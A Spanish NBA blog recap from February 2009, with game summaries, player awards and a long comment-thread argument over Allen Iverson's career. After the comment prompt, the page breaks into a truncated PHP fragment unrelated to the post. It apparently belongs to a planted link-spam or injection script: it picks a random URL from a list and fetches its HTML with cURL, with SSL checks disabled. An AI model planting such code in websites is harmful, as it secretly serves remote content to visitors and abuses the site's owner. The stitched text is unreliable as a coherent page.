La crónica (25/02/2009)

26 de February de 2009 por MagicJohnson32

Por TheDeerHunter & MagicJohnson32

Es curioso cómo son las cosas. Se lesiona Garnett y, sin él, los Celtics barrieron a Suns y Nuggets mostrando un juego demoledor. Llegan a L.A. para enfrentarse a Clippers y pierden ¿será la atmósfera del Staples, que ya empieza a afectarles? El caso es que un Glen más un Mikki no suman un Kevin, y Zach les hizo un roto que soñaría hacer el resto de hombres altos de la liga.

La batalla intercoferencias estuvo a un pelo de equilibrarse en Denver. Petro tampoco es Nené y los Nuggets han bajado un escalón sin el brasileño. Ayer, con cierta fortuna, evitaron la remontada de unos Hawks asolados por las bajas. Tampoco los Pistons tuvieron fortuna en New Orleans y, además de ser derrotados, Iverson se resistió de su lesión de espalda y Wallace, oh sorpresa, fue expulsado al recibir dos técnicas, con lo que además acumula ya 16 esta temporada y recibe de manera automática un partido de sanción. Detroit ha perdido los últimos 8 partidos, su peor racha desde la 94-95. Hamilton aprovecha la coyuntura para quejarse de su suplencia y señalar que “algo tiene que cambiar”. Sólo le faltó poner el nombre de Michael Curry en un cartel fluorescente.

Dallas, por su parte, tuvo menos problemas para defender su plaza contra Milwaukee, con grandes partidos de Kidd, Howard y Bass y a pesar de la actuación discreta de Nowitzki. Indiana y Charlotte sí fueron capaces de sacar adelante su partido ante rivales del Oeste, en este caso la sección pobre del Wild Wild West. De poco sirvió el gran partido de Marc ya que Gay, por ejemplo, estuvo terrorífico. Es curioso el caso de Indiana, que con Jack & Daniels están ganando más partidos que con Granger & Dunleavy. Por cierto, Ford ahora es suplente de Jack y no monta tanto el cirio como lo hacía en Toronto. Los Bobcats, por su parte, dieron buena cuenta de Sacramento liderados de nuevo por Diaw.

Pero en una jornada tan densa no sólo hubo duelos East-West. Los ParkerSpurs se llevaron el duelo de máximo interés contra Portland, donde a mí me gustaría que me explicaran cómo es posible que Blake jugara anoche 24 minutos frente a los 20 de Sergio, cuando el segundo hizo un partido a años luz del primero. Es un hecho evidente que refuerza la idea de que McMillan no mide a ambos por el mismo rasero. Por su parte, Rudy estuvo flojete. Los nuevos Bulls se dejaron sorprender en New Jersey otra vez de la mano de un Devin Harris superlativo. Derrick Rose se llevó una lección que le costará olvidar por algún tiempo.

Finalmente, Orlando ganó en New York con una colosal actuación de la pareja Howard-Turkoglu (57 puntos entre los 2); Utah siguió su marcha de crucero venciendo en Minnesotta y los Sixers pusieron fin a su racha de cuatro derrotas haciendo lo propio en la capital.

PREMIOS

MVP: Tony Parker, o cómo echarse un equipo a las espaldas. Está siendo sensacional el comportamiento del base francés ante las bajas de Duncan y Ginóbili. El martes le hizo a los Mavs 37-12-5 y apenas 24 horas después destrozó a los Blazers con 39 puntos, 9 asistencias y 5 rebotes. Mención especial también para los 42 puntos, 6 asistencias y 4 rebotes de Devin Harris.

El rookie: 9 de 12 en tiros de campo, 22 puntos y 15 rebotes son las credenciales de Marc Gasol para llevarse el premio. Kevin Love casi las calca: 10 de 12 en tiros, 24 puntos y 15 rebotes. Los 14 puntos, 14 rebotes y 3 tapones de McGuire no le dejan muy lejos de compartir premio con ellos.

La sorpresa: ¿Recuerdan cuando Channing Frye era una de las joyas de los Knicks? A nosotros casi se nos había olvidado. Anoche pareció despertar de su letargo con 15 puntos y 7 rebotes en 24:30 de juego. En realidad sabemos que es capaz de eso y de mucho más.

La decepción: Esperábamos más de Derrick Rose en su duelo contra Devin Harris. Además de ver la exhibición de Harris, Rose apenas logró 9 puntos y 5 asistencias. Aunque para actuación pobre, la de Steve Blake, que falló sus 9 tiros y se quedó en 0 puntos con 1 rebote, 1 asistencia y 1 pérdida de balón en 24 minutos.

El mayor esfuerzo en vano: El de Joe Jonson (26-8-4), Marvin Williams (31-7), Al Horford (21-11) y los Hawks, que se quedaron a un paso de remontar 8 puntos en los últimos 90 segundos de partido. Pero el tiro final de Flip Murray no entró y el triunfo se quedó en Denver.

RAZONES PARA TRASNOCHAR

Noche de jueves, noche de double-header. Ambos partidos se presentan muy interesantes, con cuatro equipos de Playoffs implicados, entre ellos los dos líderes de Conferencia.
Cavs @ Houston. Los Rockets parecen funcionar sin McGrady (y sin Alston) y suman cinco victorias seguidas en las que han encajado 85 puntos de media. Pero LeBron y los Cavs son palabras mayores. Encabezan el Este, poseen el mejor diferencial de puntos de la liga (+10.2) y han ganado los últimos cinco partidos sin apenas despeinarse. ¿Podrá Artest frenar mínimamente a LeBron? Lo dudamos, pero lo comprobaremos a partir de las 2:00 h.
Suns @ Lakers. A continuación del Cavs-Rockets se disputará el gran duelo de la Pacific Division, un enfrentamiento algo venido a menos por el mal momento que atraviesan los Suns y, reconozcámoslo, porque se ha perdido buena parte del morbo que suponía ver a Kobe y Shaq frente a frente. Aun así, todo apunta a un partido espectacular, de juego vibrante y altas puntuaciones. No estarán Amaré ni Bynum, pero sí todos los demás, incluyendo a Steve Nash pese a su reciente torcedura de tobillo.

La pregunta del día: ¿Creéis que la destitución de Curry sería la solución de los males de los Pistons?

Comenta

21 comentarios a esta entrada

  1. MagicJohnson32 dice:
    #1

    Los Pistons no tienen ningún jugador, salvo Prince, con contrato más allá del 2010. Este próximo verano ya acaban Iverson y Sheed, unos 36 kilos, más algunos contratos bajos que elevan la cifra hacia los 40.

    Quiero decir, que la marcha de Billups fue como el reconocimiento de que se iniciaba una transición, se acababa un proyecto. No es fácil crear un proyecto nuevo pero creo que Dumars tiene crédito. Más que Curry, desde luego. No van a solucionar gran cosa echándolo pero a peor tampoco irán.

    PD: Joer con Parker, 38 puntos, 10.5 asistencias y 5 rebotes de media estos dos partidos sin Duncan ni Manu…

      Citar

  2. Viva_Dirk dice:
    #2

    Coincido con Magic en que Dumars tiene mucho crédito. Con ese dinero estoy seguro de que fichará bien, no creo que se obsesione como otros con el verano de 2010 y como este de 2009 se haga con Boozer y Gordon(por ejemplo) volverán a estar arriba, y con dinero otra vez para 2010.

    Parker me gusta casi tan poco como Robinson, pero a este si hay que reconocerle que es mas dificil de parar.

      Citar

  3. xapa_croack dice:
    #3

    Vaya victoria tan amarga, se sabe doblemente mal.

      Citar

  4. TheDeerHunter dice:
    #4

    Venga va… reconoce que tu corazoncito es un poco de los Lakers.

      Citar

  5. xapa_croack dice:
    #5

    Joer como esta el equipo de tu pueblo xDxD

    Joer Iverson menuda remora, vaya cambio ha dado los pistons con el, no los recuerdo tan bajos nunca, y denver justo al contrario.

      Citar

  6. javi dice:
    #6

    Aunque suene un poco mal, me alegro de lo que les esta pasando a los pistons y sobre todo por iverson. Que bueno fuiste y que mal lo supiste llevar querido A.I., mucho espectáculo y poco más. K kereis k os diga, nunk me pareció un jugador ni serio ni competitivo, demasiado centrado en ser la estrella y en el espectáculo pro esto es baloncessto.

    En cuanto a la reestructuración de los Pistons, coincido en q Dumars lo hará bien seguro aunk dudo k las grandes estrellas quieran irse a Detroit, más que nada xq está la Ford y poco más , no es un gran mercado y ya sabemos k hoy en día eso cuenta y mucho.

    Lo d Mcmillan con Sergio ya roza el ridículo. No es k me guste mucho Sergio pro Blake….

    Por cierto, os habeis fijado que si Rudy juega minutos y bien casi siempre ganan los Blazers???

    salu2

      Citar

  7. Viva_Dirk dice:
    #7

    Pues Javi creo que Detroit pese a no ser un gran mercado no tendrá demasiados problemas para atraer grandes jugadores siempre que tenga una cantidad de dinero disponible, no creo que sea un caso como el de Utah o Toronto. Los Pistons son una de las franquicias grandes en todos los sentidos, por historia seguro que hay muchos deseando ir, a parte para los jugadores de raza negra seguro que tiene bastante encanto.

    En lo demás coincido, salvo que yo nunca diria eso de ‘que bueno fuiste amigo A.I’, jeje.

      Citar

  8. TheDeerHunter dice:
    #8

    Me hago cruces leyendo determinados comentarios sobre A.I….

    Esto es lo que dijo Hollinger no hace mucho sobre él, colocándolo como 5º mejor escolta de la historia. Por detrás de Jordan, West, Kobe y Gervin… según su opinión, claro:
    “Honors: 9-time All-Star, MVP (2001), Rookie of the Year (1997)
    The player: The Answer is, pound for pound, the toughest player ever. At 6 feet, and 165 pounds dripping wet, his scoring ability is nothing short of phenomenal. He has won four scoring titles and is third behind Jordan and Wilt Chamberlain in career scoring average.
    A true competitor, he never stops and often crashes to the basket with little regard for his personal safety. He’s a dazzling ball handler and an underrated passer who has no problem putting a team on his back.
    A classic shooting guard? Not at all. But a one-of-a-kind little man? A warrior who possesses legendary amounts of durability, consistency and scoring talent? Without question. ”

    El tercer máximo anotador de la historia (supongo que en ese momento) en promedio de anotación. Sólo por detrás de Jordan y Chamberlain.
    Un don nadie, sí…

    El no saber utilizar un arma no dice nada de la peligrosidad de arma, sólo habla de la incapacidad de cada uno. (Me refiero a los equipos donde ha estado últimamente para que nadie se ofenda)

      Citar

  9. Viva_Dirk dice:
    #9

    Ese Holliger puede decir misa. Iverson ha sido siempre un cancer en sus equipos, por muchas camisetas que halla vendido, mucho marketing que hallan hecho a su favor y muchos ‘mix’ que le hallan hecho.

    En puntos por partido es el tercer máximo anotador con 27.7 puntos, pero cuidado que Iverson durante su etapa en Phily(donde promedió 28.1) tuvo un promedio de 23.8 lanzamientos por encuentro con un tremendo 42% en tiros de campo. Baylor hizo eso cuando no existia el tiro de 3, lo cual le da una ventaja de mil puntos a Iverson. Nadie ha lanzado tanto y tan mal como Allen Iverson, repito, NADIE.

    Nadie ha abusado tanto del tiro como lo ha hecho Iverson, aprovechandose de ser ‘todo corazón’ y de que como media 1.83 ole sus cojones. Ha desaprovechado unas grandes cualidades por el simple hecho del lucimiento personal y no ha estado nunca ni cerca de ganar nada, pues fue barrido en la final por los Lakers tras ganar una de las conferencias Este mas flojas de la historia.

    Este hombre que has citado lo pone como el 5º mejor escolta de la historia, yo no lo pondria ni entre los 500 porque sus cualidades individuales no me sirven de nada si no estan puestas a disposición del equipo. Pero vaya, ponerlo delante de Drexler, Wade, Richmond o Havlicek me parece ridículo.

    Las mejores temporada de Iverson han sido jugando como base, la diferencia básica era que la subia y ya no la soltaba y las otras temporadas la subia otro y el se la jugaba.

    Sus recientes declaraciones diciendo que buscará la mejor oferta económica nos deja una idea de las ganas que tiene de ceder protagonismo personal en pro de pelear un título, y el resultado que ha tenido su traspaso en aquellas franquicias a las que ha ido o ha dejado deja bien clara su repercusión en un equipo.

      Citar

  10. TheDeerHunter dice:
    #10

    Viva… desconozco que tipo de trauma tienes con Iverson.
    Da la casualidad que cuando Hollinger habla de baloncesto, los demás suelen escuchar… aunque sería bueno que más allá de consideraciones personales nos ciñeramos a discutir los argumentos.

    A Baylor, si no recuerdo mal, él lo incluyó en la lista de los mejores Aleros de la historia… pero aún así, desde luego quede como quede Iverson en la comparativa con él tampoco me parece ninguna deshonra.
    Lo de que nadie ha lanzado tanto y tan mal como Iverson es directamente falso… y sin ir más lejos, Baylor tiró más y peor que Iverson. No argumentes contra ti mismo, hombre…

    ¿Qué cualidades ha desaprovechado?? Iverson ya no engaña a nadie. Todos sabemos cuales son sus virtudes y sus defectos (que los tiene, por supuesto) ¿Qué me dices?, ¿que debería haber sido mejor pasador?, ¿un distribuidor más eficaz? ¿más generoso?? Sin lugar a dudas… como otros deberían haber sido mejores reboteadores, mejores defensores, mejores tiradores… Cada vez me creo menos eso de desaprovechar talento. Tuvo el que tuvo. Antes de él, por cierto, también lo dijeron de Chamberlain, por ejemplo.
    Y un dato más en el que te equivocas (¿adrede?) No fue barrido. Fue un 4-1 que empezó con un 0-1… y que no fué un 0-2 de milagro (un milagro de apellido Lue) Quitarle méritos a aquella temporada me parece un completo disparate. Supongo que sería lo mismo que criticar a Utah por lo flojo que era el Oeste cuando ellos llegaron a las finales… o también criticar a los Rockets por los “tristes” anillos que ganaron.

    Todo lo que puedes decir de Iverson, TODO, es que no te gusta el modelo de juego o de jugador que nos ofrece… el extremo de juego cuyo padre fue precísamente Jordan. A mí tampoco me gusta… pero poner a, por ejemplo, Richmond por encima de él es de traca, colega…
    Ya le hubiera gustado al bueno de Mitch, claro…

      Citar

  11. Viva_Dirk dice:
    #11

    No, Baylor no tiro peor que Iverson, ni si contamos la etapa de Phily que es a la que se refiere el analista ni si contamos su carrera completa, Iverson sigue sin promediar un tristísimo 43% que tiene Baylor. La comparativa del aprovechamiento de los tiros de Iverson con cualquiera de sus contemporaneos(escoltas o bases) es abrumadora.

    Ha desaprovechado la cualidad de irse en el uno contra uno y regalar canastas, sustituyendolo por irse en el uno contra uno y estampanarse contra alguien de 2.10 haciendo escorzos en el aire, que eso si cuando entraban salia un mes en la tele y se decia aquello de que como podia hacerlo con 1.83. Otra cosa que ha hecho de pena durante su carrera ha sido tirar de tres, y eso no es ningun pecado, el pecado es que tirando de pena de tres en sus años de Phily se cascaba nada menos que 4 triples por encuentro, con un porcenteje del 30.8%, hubo grandes jugadores que no fueron grandes tiradores, ahora mismo tenemos el ejemplo de Wade que hace un lanzamiento triple por partido en lo que va de su carrera, aunque claro supongo que eso no tiene nada que ver en la efectividad de uno y otro.

    Bueno, supongo que tendremos distintos conceptos de barrido porque yo recuerdo haber visto todos los partidos de aquella final y para mi el primer partido fue un accidente, para mi y para la mayoria de gente que conozco.
    Y no puedes comparar el nivel de aquel Este con ninguno de los que dices; cuando los Jazzs llegaron a las finales en el Oeste estaban los Rockets de Olajuwon, Barkley y Drexler(además de una intendencia seria), los Sonics de la parejita y Schrempf y unos Lakers que ganaban 56 partidos en liga regular.
    En cuanto a Houston tuvo que ganar a los Spurs de Robinson pre-Duncan que tenian entre otros a Rodman cogiendo 17 rebotes por noche, a los Suns de Barkley, Majerle, KJ y Manning(a estos dos veces), para finalmente barrer en las finales por 4-0 a Orlando que ‘solo’ tenian a Shaq y Hardaway, el año anterior los ya mencionados Jazzs y en la final los Knicks de Pat Riley que ya es mucho decir.
    Si quieres decirme que lo de estos tuvo mas mérito que lo de Iverson estamos deacuerdo, si no, no.

    El modelo de Iverson es un modelo que no tiene que ver ABSOLUTAMENTE NADA con el de Jordan. Jordan mejoró todos y cada uno de sus defectos, vease el tiro de 3, las perdidas de balón o las faltas, y cuando tuvo un equipo competitivo no tuvo ningun inconveniente en ceder protagonismo en momentos clave incluso de forma general disminuyendo sus tiros a canasta. Entre otras miles de cosas anotó 40 puntos en unas finales cuando el equipo lo necesitó y en otras que lo que necesitaba era que Mike la soltase dio nada menos que 11 asistencias. Repito que el juego de Iverson no tiene nada que ver con eso.

      Citar

  12. TheDeerHunter dice:
    #12

    Tienes razón… me he equivocado nombrando el dato.
    Ehm… Elgin Baylor tiene un 43% y Iverson un 42%… distancia sideral.
    Hablando de números tan “tristísimos” como el de Iverson o Baylor, podríamos hablar de Wilkens, Havlicek, Arizin, Cousy… que se mueven en torno a esos guarismos.
    Pierce cuenta con un 44% y eso quiere decir que es muchíiiisimo más bueno que todos ellos.
    Todos los que están por debajo de ellos son MIERDA pura.

    Es tan simple como fijarse exclusivamente en los defectos e ignorar completamente las virtudes. Eso no es nuevo… he oído comentarios de ese corte con respecto a Shaq, Kobe, Pau, Sergio… Dices que desaprovechó la cualidad de regalar canastas y sin embargo ha “regalado” más canastas que gente como Frazier, McMillan, Doc Rivers o Marc Price… e infinitamente más que Baylor (y no estamos hablando de las leyendas del equipo de mi pueblo) Ha sido uno de los máximos “ladrones” de la historia y, quieras reconocer o no, cuando se retire se le recordará mucho más por sus victorias que él logró para su equipo que por las derrotas que él causó.

    Me obligas a polarizarme, cuando no van por ahí mis argumentos… en ningún caso me considero admirador de Iverson ni de su juego, no tengo nada contra las victorias de los Rockets o las finales de Utah ni tampoco menosprecio el trabajo de Jordan (faltaría más) Creía haber haber explicado el sentido de esos comentarios. Quizás no lo he hecho, pero de lo que estoy seguro es que no has entendido que quería decir (tampoco quiero desviar el debate)

    Poner en duda una carrera tan increíble como la de Iverson, considerarlo como un cáncer… me parece inaceptable, obsceno.
    Ya veremos cuantos Rose, Mayo, Beasley, llegan siquiera a vislumbrar el nivel de A.I. Apostaría ya mismo a que ninguno de los tres llegará a ese punto. Seguro que tengo más posibilidades de ganar que de perder.

      Citar

  13. Viva_Dirk dice:
    #13

    Los porcentajes por si mismos no hacen a un jugador bueno o malo. Lo que si le hace un cancer es tener eso porcentajes y jugarse los tiros que se juega, eso si le hace un cancer. Wilkens, Havlicek y todos esos que nombras tiraban mucho menos que Iverson y puedes ver como brillaron a su alrededor jugadores como Petit, Hagan, Sam Jones, Howell, Johnston, Graboski, Macauley o Sharman. Y aun así haces una comparación que no tiene demasiado sentido, escoltas-bases de la decada de los 50, el juego no tenia nada que ver. Puedes mirar esas comparativas con bases como Payton o Marbury que jugaban mucho para ellos, o escoltas que ni son de los mejores como Ben Gordon o Finley, no creo que ninguno de ellos hubiese tenido problemas en anotar 28 puntos por partido picandose 23 tiros.

    Iverson jamás permitió en sus años de Phily que nadie le hiciese sombra, ni cuando en teoria fichaban a Webber para satisfacer las necesidades de Iverson de tener compañeros mas competentes, Webber promediaba 21 puntos esa temporada con los Kings, en los Sixers 15.

    En el apartado defensivo no tengo nada que reprocharle, siempre me pareció muy buen defensor, pero no me digas que fue un gran ladrón sin mencionar que perdia 1.5 balones mas de los que recuperaba, puedes mirar las estadisticas de otros escoltas a ver como va ese dato.

    Puedo fijarme en sus virtudes que yo mismo te he dicho antes, un gran uno contra uno y una buena visión de juego, si, Iverson siempre ha sabido pasar pero no ha querido hacerlo, ha preferido los 1 contra 3, las canastas falladas y no aprovechar ni sus cualidades ni la de sus compañeros.

    Vuelvo otra vez al presente, los Nuggets no notaron ninguna diferencia positiva de cambiar a Iverson por Andre Miller, salvo en la venta de camisetas, los resultados han sido iguales y en algunos casos peores, mientras los Sixers ese mismo año ganaron mas partidos sin Iverson que con el y el año siguiente ya jugaron los play-offs. Este mismo año no hace falta que diga la influencia de Billups en Denver y de Mr.Ego en Detroit.

    Cuando se retire los que hallan visto sus ‘mixes’ o miren sus estadísticas a grosso modo diran que menudo crack era el pequeñín, pero los que le hemos visto fallar hasta la saciedad y seguir tirandoselas todas mientras sus equipos se iban a pique solo recordaremos a un tio que desperdició todas las condiciones que tenía.

    Y mi definición de cancer es tan simple como que ha ido minando todos los equipos en los que ha estado, jamás se ha acoplado al juego del equipo si no que han sido todos los demás los que han tenido que acoplarse a el. Un tio así no compensa, como tu dices es un arma, pero un arma que no se deja utilizar lo único que puede hacer es matarte.

      Citar

  14. Jabho dice:
    #14

    Llego tarde pero en esto estoy con Viva. Creo que Iverson tiene unas condiciones que de haberla puesto al servicio del equipo nos llevaría tantos puntos pero habría competido mucho más. Es significativo que pocas veces sus buenos números han servido para que sus equipos dieran un salto de calidad con él y mas bien al contrario.

    Acojonado además por que a Ainge le encanta Iverson. Cuando llegó a los C´s quiso traerle a toda costa. Como creo que nadie va a dar un pastón por el, me veo a Iverson aceptando una midlevel en un equipo para competir… Y de verdad que no me sorprendería que fuera Boston. No se yo si podemos “sobrevivir” a los egos de Marbury e Iverson (aunque supongo, espero, que los dos no estarán juntos el año que viene)… En fin, con buena actitud pueden venir muy bien pero si no….

      Citar

  15. Viva_Dirk dice:
    #15

    Me parece que no has comprendido del todo, Iverson ha dicho que va a coger la mejor oferta economica y no lo veo firmando por la mid-level. Veremos quien le da una pasta, a mi me da que si Jordan se fia de Brown, acaba en los Bobcats.

      Citar

  16. TheDeerHunter dice:
    #16

    No comprendo que tiene que ver lo de la oferta económica en todo este asunto. Muy poquitos en esta industria han sacrificado sus honorarios por ninguna otra consideración… no creo que lo hiciera Jordan en su día, por poner un ejemplo. No me cabe ninguna duda que a similares ofertas y mejores condiciones deportivas elegirá las que sean superiores en ese sentido ¿no creeis lo mismo??

    Al respecto de los tiros que se ha jugado Iverson… niego la mayor. Se los ha jugado porque él ha podido hacerlo y no otros, porque su entrenador y sus compañeros se lo han consentido y será por algo. Que ni en 2 vidas Payton, Finley ni desde luego muchos otros hubieran metido lo que ha metido Iverson. Dices que las estadísticas no lo indican todo… y es cierto. Determinadas funciones y sistemas de juego donde se ha empleado a Iverson también influyen en el número de tiros… y eso no siempre es responsabilidad directa del tipo que se los casca. ¿o es lo mismo jugar para Dantoni que para McMillan??

    Hace no demasiado, te leí un acertado alegato en favor de lo que se tiró Kobe el otro día contra Phoenix. Para mí hizo un partido brutal y tampoco estuvo especialmente fino. ¿Porqué se los tiró?? pues porque a su alrededor no había nadie con entidad para jugárselos… y con esto podemos recordar los mejores años de Philadelphia, con grandes jugadores y mejores personas como Ratliff, Mutombo, Linch, McKey, Snow… que con este ejemplo digáis que pocas veces ha mejorado el rendimiento de un equipo me parece como mínimo injusto… y el ejemplo de Webber completamente tendencioso. Los mejores momentos de los últimos 20 años en una franquicia como Philadelphia los tuvieron con Iverson, si quieres resumirlo todo en que minó el equipo…
    ¿que nunca permitió que nadie le hiciera sombra?? ¿porqué le acusas a él de eso?? ¿a quien cortó su progresión?? ¿no hizo buenos números, por ejemplo, Iguodala a su lado?? ¿fue él quien largó a Larry Hughes??

    Todo se apoya en una situación completamente circunstancial, evidentemente en contra de Iverson… pero muy mal gestionada por el entorno donde le ha tocado caer. Debeis valorar si los equipos que no ha mejorado realmente necesitaban un Iverson en sus filas o ha sido una mala decisión de base… y luego habría que valorar la mala tendencia que tiene Iverson de absorver bola, pero que no es tanta como queréis hacer ver.

    Yo no miro los números. Le he visto jugar… supongo que tanto como tú o similar y hay cosas que me han gustado más y otras menos… y sin dudarlo lo considero un grande. Después de Jordan y Kobe, me costaría encontrar un escolta más peligroso que A.I.

      Citar

  17. Viva_Dirk dice:
    #17

    A la edad de Iverson han sido varios los que han renunciado a dinero para intentar ganar el título.

    Yo creo que Payton y Finley son mejores que Iverson, mejores jugadores de baloncesto, que Iverson ‘mole’ mas no me importa, ni que drible mejor ni nada, es peor jugador porque condiciona los equipos a los que va. Desde luego no es lo mismo jugar para un entrenador que otro, Iverson se las tiraba todas con todos los entrenadores, no creo que fuese siempre culpa de ellos.

    Y si, desde luego que se puede defender que alguien tire mucho en determinados partidos….pero no en 800 y pico que ha jugado Iverson. Además de jugar con esos que dices también jugó con Webber, Mutombo, Iguodala, Carmelo Anthony y este año con un equipo que el año pasado jugó la final de conferencia.

    Nunca permitió que nadie le hiciese sombra, Iguodala ha hecho mejores números sin Iverson, el ejemplo de Webber es el que es, esa misma temporada estaba haciendo 21 puntos y en los Sixers hizo 15.

    En cuanto a si los equipos necesitaban un Iverson, ¿Iverson no puede variar su juego? Lo digo porque Kobe cuando se fue Shaq tuvo un año de cascarse 35 puntos por noche y cuando llegó Pau bajó sus lanzamientos a canasta considerablemente. Shaq perdió protagonismo en favor de Wade, Duncan en favor de Parker. Garnett pasó de lanzar casi 18 veces a canasta en su último año con los Wolves a lanzar menos de 14 el año pasado con los Celtics y subió en un 6% sus porcentajes, Ray Allen pasó de 20 tiros a 12 y asumió ser la tercera espada de los Celtics.
    Iverson jamás ha consentido ser menos importante que otro compañero ni ha cambiado su juego cuando deberia haberlo hecho para mejorar al equipo, siempre ha mirado primero por el.

    Yo ya te digo que no querría a Iverson jamás en mi equipo, porque lo condiciona y no es inteligente para saber cuando tiene que cambiar. Dicho esto queda claro que me imagino decenas(o mas) de escoltas mejores que el.

      Citar

  18. Txusma dice:
    #18

    Puede ser, Viva, que no quisieras nunca a Iverson en tu equipo pero que a la vez tampoco lo quisieras jugando contra ti?

      Citar

  19. Viva_Dirk dice:
    #19

    Nah, no me importaría que jugase contra los Lakers cada noche, y mas aun si es sustituyendo a la estrella rival, jeje.

      Citar

  20. TheDeerHunter dice:
    #20

    Eres un pillín… para unas cosas sí sacas números y para otras reniegas de ellos.
    Hay que ver cómo llegó Webber a Philadelphia y, también que en el año de rookie de cualquier jugador, incluído Iguadala, los números suelen ser inferiores a los años sucesivos… digo yo que esa puede ser una explicación.

    Si me dices que Finley es mejor que Iverson… pues aquí se acaba la discusión y tan amigos. Y luego me dices que si le tengo manía a Monta Ellis y tal…

      Citar

  21. Viva_Dirk dice:
    #21

    ¿Para que cosas reniego de los números?
    La temporada 2006/07 Iguodala estaba haciendo números decentes con Iverson, fue cambiarlo por Miller y salirse. Y Webber llegó exactamente igual que el tio que unas noches antes estaba promediando 21 puntos.

    Y si, para mi Finley es mejor jugador que Iverson y estoy convencido que si se hubiese tirado casi 24 tiros por noche sus medias serian superiores a las de Iverson. En cuanto a las manías, yo a Iverson no le tengo ninguna manía personal, no tengo motivos para ello, es tan facil como que me parece un jugador muy malo, y como a otros les parece un jugador muy bueno en la discusión parece que le tenga manía.

    Les tengo manía a Terry y a Tim Thomas, por ejemplo.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>